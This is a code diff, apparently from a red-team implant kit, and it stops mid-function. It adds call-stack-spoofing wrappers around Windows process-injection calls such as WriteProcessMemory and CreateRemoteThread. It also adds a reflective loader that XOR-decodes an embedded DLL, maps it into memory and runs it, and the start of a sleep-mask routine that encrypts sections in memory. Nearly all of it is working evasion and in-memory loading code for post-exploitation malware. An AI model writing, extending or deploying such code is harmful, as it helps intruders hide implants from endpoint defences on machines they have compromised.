DECLSPEC_IMPORT BOOL WINAPI KERNEL32$DuplicateHandle ( HANDLE, HANDLE, HANDLE, LPHANDLE, DWORD, BOOL, DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$GetThreadContext ( HANDLE, LPCONTEXT );
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$MapViewOfFile ( HANDLE, DWORD, DWORD, DWORD, SIZE_T );
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess ( DWORD, BOOL, DWORD );
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenThread ( DWORD, BOOL, DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadProcessMemory ( HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T * );
|
||||
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$ResumeThread ( HANDLE );
|
||||
DECLSPEC_IMPORT VOID WINAPI KERNEL32$RtlCaptureContext ( PCONTEXT );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$SetThreadContext ( HANDLE, const CONTEXT * );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$UnmapViewOfFile ( LPCVOID );
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD );
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAllocEx ( HANDLE, LPVOID, SIZE_T, DWORD, DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtectEx ( HANDLE, LPVOID, SIZE_T, DWORD, PDWORD );
|
||||
DECLSPEC_IMPORT SIZE_T WINAPI KERNEL32$VirtualQuery ( LPCVOID, PMEMORY_BASIC_INFORMATION, SIZE_T );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteProcessMemory ( HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T * );
|
||||
|
||||
DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstance ( REFCLSID, LPUNKNOWN, DWORD, REFIID, LPVOID * );
|
||||
|
||||
DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue ( CONTEXT *, BOOLEAN );
|
||||
|
||||
// cannot put this here because it fails to build
|
||||
// to PIC when hooks.x64.o is merged into the loader
|
||||
// extern MEMORY_LAYOUT g_memory;
|
||||
|
||||
HINTERNET WINAPI _InternetOpenA ( LPCSTR lpszAgent, DWORD dwAccessType, LPCSTR lpszProxy, LPCSTR lpszProxyBypass, DWORD dwFlags )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( WININET$InternetOpenA );
|
||||
call.argc = 5;
|
||||
call.args [ 0 ] = spoof_arg ( lpszAgent );
|
||||
call.args [ 1 ] = spoof_arg ( dwAccessType );
|
||||
call.args [ 2 ] = spoof_arg ( lpszProxy );
|
||||
call.args [ 3 ] = spoof_arg ( lpszProxyBypass );
|
||||
call.args [ 4 ] = spoof_arg ( dwFlags );
|
||||
|
||||
return ( HINTERNET ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
HINTERNET WINAPI _InternetConnectA ( HINTERNET hInternet, LPCSTR lpszServerName, INTERNET_PORT nServerPort, LPCSTR lpszUserName, LPCSTR lpszPassword, DWORD dwService, DWORD dwFlags, DWORD_PTR dwContext )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( WININET$InternetConnectA );
|
||||
call.argc = 8;
|
||||
call.args [ 0 ] = spoof_arg ( hInternet );
|
||||
call.args [ 1 ] = spoof_arg ( lpszServerName );
|
||||
call.args [ 2 ] = spoof_arg ( nServerPort );
|
||||
call.args [ 3 ] = spoof_arg ( lpszUserName );
|
||||
call.args [ 4 ] = spoof_arg ( lpszPassword );
|
||||
call.args [ 5 ] = spoof_arg ( dwService );
|
||||
call.args [ 6 ] = spoof_arg ( dwFlags );
|
||||
call.args [ 7 ] = spoof_arg ( dwContext );
|
||||
|
||||
return ( HINTERNET ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _CloseHandle ( HANDLE hObject )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$CloseHandle );
|
||||
call.argc = 1;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hObject );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
HANDLE WINAPI _CreateFileMappingA ( HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMappingAttributes, DWORD flProtect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, LPCSTR lpName )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$CreateFileMappingA );
|
||||
call.argc = 6;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hFile );
|
||||
call.args [ 1 ] = spoof_arg ( lpFileMappingAttributes );
|
||||
call.args [ 2 ] = spoof_arg ( flProtect );
|
||||
call.args [ 3 ] = spoof_arg ( dwMaximumSizeHigh );
|
||||
call.args [ 4 ] = spoof_arg ( dwMaximumSizeLow );
|
||||
call.args [ 5 ] = spoof_arg ( lpName );
|
||||
|
||||
return ( HANDLE ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL _CreateProcessA ( LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$CreateProcessA );
|
||||
call.argc = 10;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpApplicationName );
|
||||
call.args [ 1 ] = spoof_arg ( lpCommandLine );
|
||||
call.args [ 2 ] = spoof_arg ( lpProcessAttributes );
|
||||
call.args [ 3 ] = spoof_arg ( lpThreadAttributes );
|
||||
call.args [ 4 ] = spoof_arg ( bInheritHandles );
|
||||
call.args [ 5 ] = spoof_arg ( dwCreationFlags );
|
||||
call.args [ 6 ] = spoof_arg ( lpEnvironment );
|
||||
call.args [ 7 ] = spoof_arg ( lpCurrentDirectory );
|
||||
call.args [ 8 ] = spoof_arg ( lpStartupInfo );
|
||||
call.args [ 9 ] = spoof_arg ( lpProcessInformation );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
HANDLE WINAPI _CreateRemoteThread ( HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$CreateRemoteThread );
|
||||
call.argc = 7;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hProcess );
|
||||
call.args [ 1 ] = spoof_arg ( lpThreadAttributes );
|
||||
call.args [ 2 ] = spoof_arg ( dwStackSize );
|
||||
call.args [ 3 ] = spoof_arg ( lpStartAddress );
|
||||
call.args [ 4 ] = spoof_arg ( lpParameter );
|
||||
call.args [ 5 ] = spoof_arg ( dwCreationFlags );
|
||||
call.args [ 6 ] = spoof_arg ( lpThreadId );
|
||||
|
||||
return ( HANDLE ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
HANDLE WINAPI _CreateThread ( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$CreateThread );
|
||||
call.argc = 6;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpThreadAttributes );
|
||||
call.args [ 1 ] = spoof_arg ( dwStackSize );
|
||||
call.args [ 2 ] = spoof_arg ( lpStartAddress );
|
||||
call.args [ 3 ] = spoof_arg ( lpParameter );
|
||||
call.args [ 4 ] = spoof_arg ( dwCreationFlags );
|
||||
call.args [ 5 ] = spoof_arg ( lpThreadId );
|
||||
|
||||
return ( HANDLE ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
HRESULT WINAPI _CoCreateInstance ( REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID * ppv )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( OLE32$CoCreateInstance );
|
||||
call.argc = 5;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( rclsid );
|
||||
call.args [ 1 ] = spoof_arg ( pUnkOuter );
|
||||
call.args [ 2 ] = spoof_arg ( dwClsContext );
|
||||
call.args [ 3 ] = spoof_arg ( riid );
|
||||
call.args [ 4 ] = spoof_arg ( ppv );
|
||||
|
||||
return ( HRESULT ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _DuplicateHandle ( HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$DuplicateHandle );
|
||||
call.argc = 7;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hSourceProcessHandle );
|
||||
call.args [ 1 ] = spoof_arg ( hSourceHandle );
|
||||
call.args [ 2 ] = spoof_arg ( hTargetProcessHandle );
|
||||
call.args [ 3 ] = spoof_arg ( lpTargetHandle );
|
||||
call.args [ 4 ] = spoof_arg ( dwDesiredAccess );
|
||||
call.args [ 5 ] = spoof_arg ( bInheritHandle );
|
||||
call.args [ 6 ] = spoof_arg ( dwOptions );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
HMODULE WINAPI _LoadLibraryA ( LPCSTR lpLibFileName )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( LoadLibraryA );
|
||||
call.argc = 1;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpLibFileName );
|
||||
|
||||
return ( HMODULE ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _GetThreadContext ( HANDLE hThread, LPCONTEXT lpContext )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$GetThreadContext );
|
||||
call.argc = 2;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hThread );
|
||||
call.args [ 1 ] = spoof_arg ( lpContext );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
LPVOID WINAPI _MapViewOfFile ( HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, SIZE_T dwNumberOfBytesToMap )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$MapViewOfFile );
|
||||
call.argc = 5;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hFileMappingObject );
|
||||
call.args [ 1 ] = spoof_arg ( dwDesiredAccess );
|
||||
call.args [ 2 ] = spoof_arg ( dwFileOffsetHigh );
|
||||
call.args [ 3 ] = spoof_arg ( dwFileOffsetLow );
|
||||
call.args [ 4 ] = spoof_arg ( dwNumberOfBytesToMap );
|
||||
|
||||
return ( LPVOID ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
HANDLE WINAPI _OpenProcess ( DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$OpenProcess );
|
||||
call.argc = 3;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( dwDesiredAccess );
|
||||
call.args [ 1 ] = spoof_arg ( bInheritHandle );
|
||||
call.args [ 2 ] = spoof_arg ( dwProcessId );
|
||||
|
||||
return ( HANDLE ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
HANDLE WINAPI _OpenThread ( DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwThreadId )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$OpenThread );
|
||||
call.argc = 3;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( dwDesiredAccess );
|
||||
call.args [ 1 ] = spoof_arg ( bInheritHandle );
|
||||
call.args [ 2 ] = spoof_arg ( dwThreadId );
|
||||
|
||||
return ( HANDLE ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _ReadProcessMemory ( HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesRead )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$ReadProcessMemory );
|
||||
call.argc = 5;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hProcess );
|
||||
call.args [ 1 ] = spoof_arg ( lpBaseAddress );
|
||||
call.args [ 2 ] = spoof_arg ( lpBuffer );
|
||||
call.args [ 3 ] = spoof_arg ( nSize );
|
||||
call.args [ 4 ] = spoof_arg ( lpNumberOfBytesRead );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
DWORD WINAPI _ResumeThread ( HANDLE hThread )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$ResumeThread );
|
||||
call.argc = 1;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hThread );
|
||||
|
||||
return ( DWORD ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _SetThreadContext ( HANDLE hThread, const CONTEXT * lpContext )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$SetThreadContext );
|
||||
call.argc = 2;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hThread );
|
||||
call.args [ 1 ] = spoof_arg ( lpContext );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _UnmapViewOfFile ( LPCVOID lpBaseAddress )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$UnmapViewOfFile );
|
||||
call.argc = 1;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpBaseAddress );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
LPVOID WINAPI _VirtualAlloc ( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$VirtualAlloc );
|
||||
call.argc = 4;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpAddress );
|
||||
call.args [ 1 ] = spoof_arg ( dwSize );
|
||||
call.args [ 2 ] = spoof_arg ( flAllocationType );
|
||||
call.args [ 3 ] = spoof_arg ( flProtect );
|
||||
|
||||
return ( LPVOID ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
LPVOID WINAPI _VirtualAllocEx ( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$VirtualAllocEx );
|
||||
call.argc = 5;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hProcess );
|
||||
call.args [ 1 ] = spoof_arg ( lpAddress );
|
||||
call.args [ 2 ] = spoof_arg ( dwSize );
|
||||
call.args [ 3 ] = spoof_arg ( flAllocationType );
|
||||
call.args [ 4 ] = spoof_arg ( flProtect );
|
||||
|
||||
return ( LPVOID ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _VirtualFree ( LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$VirtualFree );
|
||||
call.argc = 3;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpAddress );
|
||||
call.args [ 1 ] = spoof_arg ( dwSize );
|
||||
call.args [ 2 ] = spoof_arg ( dwFreeType );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _VirtualProtect ( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$VirtualProtect );
|
||||
call.argc = 4;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpAddress );
|
||||
call.args [ 1 ] = spoof_arg ( dwSize );
|
||||
call.args [ 2 ] = spoof_arg ( flNewProtect );
|
||||
call.args [ 3 ] = spoof_arg ( lpflOldProtect );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _VirtualProtectEx ( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$VirtualProtectEx );
|
||||
call.argc = 5;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hProcess );
|
||||
call.args [ 1 ] = spoof_arg ( lpAddress );
|
||||
call.args [ 2 ] = spoof_arg ( dwSize );
|
||||
call.args [ 3 ] = spoof_arg ( flNewProtect );
|
||||
call.args [ 4 ] = spoof_arg ( lpflOldProtect );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
SIZE_T WINAPI _VirtualQuery ( LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$VirtualQuery );
|
||||
call.argc = 3;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpAddress );
|
||||
call.args [ 1 ] = spoof_arg ( lpBuffer );
|
||||
call.args [ 2 ] = spoof_arg ( dwLength );
|
||||
|
||||
return ( SIZE_T ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _WriteProcessMemory ( HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesWritten )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$WriteProcessMemory );
|
||||
call.argc = 5;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hProcess );
|
||||
call.args [ 1 ] = spoof_arg ( lpBaseAddress );
|
||||
call.args [ 2 ] = spoof_arg ( lpBuffer );
|
||||
call.args [ 3 ] = spoof_arg ( nSize );
|
||||
call.args [ 4 ] = spoof_arg ( lpNumberOfBytesWritten );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
@@ -0,0 +1,146 @@
|
||||
#include <windows.h>
|
||||
#include "loader.h"
|
||||
#include "tcg.h"
|
||||
#include "memory.h"
|
||||
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD );
|
||||
|
||||
char _PICO_ [ 0 ] __attribute__ ( ( section ( "pico" ) ) );
|
||||
char _MASK_ [ 0 ] __attribute__ ( ( section ( "mask" ) ) );
|
||||
char _DLL_ [ 0 ] __attribute__ ( ( section ( "dll" ) ) );
|
||||
|
||||
int __tag_setup_hooks ( );
|
||||
int __tag_setup_memory ( );
|
||||
|
||||
typedef void ( * SETUP_HOOKS ) ( IMPORTFUNCS * funcs );
|
||||
typedef void ( * SETUP_MEMORY ) ( MEMORY_LAYOUT * layout );
|
||||
|
||||
void fix_section_permissions ( DLLDATA * dll, char * src, char * dst, MEMORY_REGION * region )
|
||||
{
|
||||
DWORD section_count = dll->NtHeaders->FileHeader.NumberOfSections;
|
||||
IMAGE_SECTION_HEADER * section_hdr = NULL;
|
||||
void * section_dst = NULL;
|
||||
DWORD section_size = 0;
|
||||
DWORD new_protect = 0;
|
||||
DWORD old_protect = 0;
|
||||
|
||||
section_hdr = ( IMAGE_SECTION_HEADER * ) PTR_OFFSET ( dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader );
|
||||
|
||||
for ( int i = 0; i < section_count; i++ )
|
||||
{
|
||||
section_dst = dst + section_hdr->VirtualAddress;
|
||||
section_size = section_hdr->SizeOfRawData;
|
||||
|
||||
if ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) {
|
||||
new_protect = PAGE_WRITECOPY;
|
||||
}
|
||||
if ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) {
|
||||
new_protect = PAGE_READONLY;
|
||||
}
|
||||
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) ) {
|
||||
new_protect = PAGE_READWRITE;
|
||||
}
|
||||
if ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) {
|
||||
new_protect = PAGE_EXECUTE;
|
||||
}
|
||||
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) ) {
|
||||
new_protect = PAGE_EXECUTE_WRITECOPY;
|
||||
}
|
||||
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) ) {
|
||||
new_protect = PAGE_EXECUTE_READ;
|
||||
}
|
||||
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) ) {
|
||||
new_protect = PAGE_EXECUTE_READWRITE;
|
||||
}
|
||||
|
||||
/* set new permission */
|
||||
KERNEL32$VirtualProtect ( section_dst, section_size, new_protect, &old_protect );
|
||||
|
||||
/* track memory */
|
||||
region->Sections[ i ].BaseAddress = section_dst;
|
||||
region->Sections[ i ].Size = section_size;
|
||||
region->Sections[ i ].CurrentProtect = new_protect;
|
||||
region->Sections[ i ].PreviousProtect = new_protect;
|
||||
|
||||
/* advance to section */
|
||||
section_hdr++;
|
||||
}
|
||||
}
|
||||
|
||||
void go ( )
|
||||
{
|
||||
/* populate funcs */
|
||||
IMPORTFUNCS funcs;
|
||||
funcs.LoadLibraryA = LoadLibraryA;
|
||||
funcs.GetProcAddress = GetProcAddress;
|
||||
|
||||
/* load the pico */
|
||||
char * pico_src = GETRESOURCE ( _PICO_ );
|
||||
|
||||
/* allocate memory for it */
|
||||
PICO * pico_dst = ( PICO * ) KERNEL32$VirtualAlloc ( NULL, sizeof ( PICO ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE );
|
||||
|
||||
/* load it into memory */
|
||||
PicoLoad ( &funcs, pico_src, pico_dst->code, pico_dst->data );
|
||||
|
||||
/* make code section RX */
|
||||
DWORD old_protect;
|
||||
KERNEL32$VirtualProtect ( pico_dst->code, PicoCodeSize ( pico_src ), PAGE_EXECUTE_READ, &old_protect );
|
||||
|
||||
/* begin tracking memory allocations */
|
||||
MEMORY_LAYOUT memory = { 0 };
|
||||
|
||||
memory.Pico.BaseAddress = ( PVOID ) ( pico_dst );
|
||||
memory.Pico.Size = sizeof ( PICO );
|
||||
|
||||
memory.Pico.Sections[ 0 ].BaseAddress = ( PVOID ) ( pico_dst->data );
|
||||
memory.Pico.Sections[ 0 ].Size = PicoDataSize ( pico_src );
|
||||
memory.Pico.Sections[ 0 ].CurrentProtect = PAGE_READWRITE;
|
||||
memory.Pico.Sections[ 0 ].PreviousProtect = PAGE_READWRITE;
|
||||
memory.Pico.Sections[ 1 ].BaseAddress = ( PVOID ) ( pico_dst->code );
|
||||
memory.Pico.Sections[ 1 ].Size = PicoCodeSize ( pico_src );
|
||||
memory.Pico.Sections[ 1 ].CurrentProtect = PAGE_EXECUTE_READ;
|
||||
memory.Pico.Sections[ 1 ].PreviousProtect = PAGE_EXECUTE_READ;
|
||||
|
||||
/* call setup_hooks to overwrite funcs.GetProcAddress */
|
||||
( ( SETUP_HOOKS ) PicoGetExport ( pico_src, pico_dst->code, __tag_setup_hooks ( ) ) ) ( &funcs );
|
||||
|
||||
/* now load the dll (it's masked) */
|
||||
RESOURCE * masked_dll = ( RESOURCE * ) GETRESOURCE ( _DLL_ );
|
||||
RESOURCE * mask_key = ( RESOURCE * ) GETRESOURCE ( _MASK_ );
|
||||
|
||||
/* load dll into memory and unmask it */
|
||||
char * dll_src = KERNEL32$VirtualAlloc ( NULL, masked_dll->len, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE );
|
||||
|
||||
for ( int i = 0; i < masked_dll->len; i++ ) {
|
||||
dll_src [ i ] = masked_dll->value [ i ] ^ mask_key->value [ i % mask_key->len ];
|
||||
}
|
||||
|
||||
DLLDATA dll_data;
|
||||
ParseDLL ( dll_src, &dll_data );
|
||||
|
||||
char * dll_dst = KERNEL32$VirtualAlloc ( NULL, SizeOfDLL ( &dll_data ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE );
|
||||
|
||||
LoadDLL ( &dll_data, dll_src, dll_dst );
|
||||
|
||||
/* track dll's memory */
|
||||
memory.Dll.BaseAddress = ( PVOID ) ( dll_dst );
|
||||
memory.Dll.Size = SizeOfDLL ( &dll_data );
|
||||
|
||||
ProcessImports ( &funcs, &dll_data, dll_dst );
|
||||
fix_section_permissions ( &dll_data, dll_src, dll_dst, &memory.Dll );
|
||||
|
||||
/* call setup_memory to give PICO the memory info */
|
||||
( ( SETUP_MEMORY ) PicoGetExport ( pico_src, pico_dst->code, __tag_setup_memory ( ) ) ) ( &memory );
|
||||
|
||||
/* now run the DLL */
|
||||
DLLMAIN_FUNC entry_point = EntryPoint ( &dll_data, dll_dst );
|
||||
|
||||
/* free the unmasked copy */
|
||||
KERNEL32$VirtualFree ( dll_src, 0, MEM_RELEASE );
|
||||
|
||||
entry_point ( ( HINSTANCE ) dll_dst, DLL_PROCESS_ATTACH, NULL );
|
||||
entry_point ( ( HINSTANCE ) ( char * ) go, 0x4, NULL );
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
#define GETRESOURCE(x) ( char * ) &x
|
||||
|
||||
typedef struct {
|
||||
char data [ 4096 ];
|
||||
char code [ 16384 ];
|
||||
} PICO;
|
||||
|
||||
typedef struct {
|
||||
int len;
|
||||
char value[];
|
||||
} RESOURCE;
|
||||
@@ -0,0 +1,72 @@
|
||||
#include <windows.h>
|
||||
#include "memory.h"
|
||||
#include "spoof.h"
|
||||
|
||||
DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep ( DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD );
|
||||
|
||||
char xorkey [ 128 ] = { 1 };
|
||||
|
||||
void apply_mask ( char * data, DWORD len )
|
||||
{
|
||||
for ( DWORD i = 0; i < len; i++ )
|
||||
{
|
||||
data [ i ] ^= xorkey [ i % 128 ];
|
||||
}
|
||||
}
|
||||
|
||||
BOOL is_writeable ( DWORD protection )
|
||||
{
|
||||
if ( protection == PAGE_EXECUTE_READWRITE ||
|
||||
protection == PAGE_EXECUTE_WRITECOPY ||
|
||||
protection == PAGE_READWRITE ||
|
||||
protection == PAGE_WRITECOPY )
|
||||
{
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
void xor_section ( MEMORY_SECTION * section, BOOL mask )
|
||||
{
|
||||
if ( mask == TRUE && is_writeable ( section->CurrentProtect ) == FALSE )
|
||||
{
|
||||
DWORD old_protect = 0;
|
||||
|
||||
if ( KERNEL32$VirtualProtect ( section->BaseAddress, section->Size, PAGE_READWRITE, &old_protect ) )
|
||||
{
|
||||
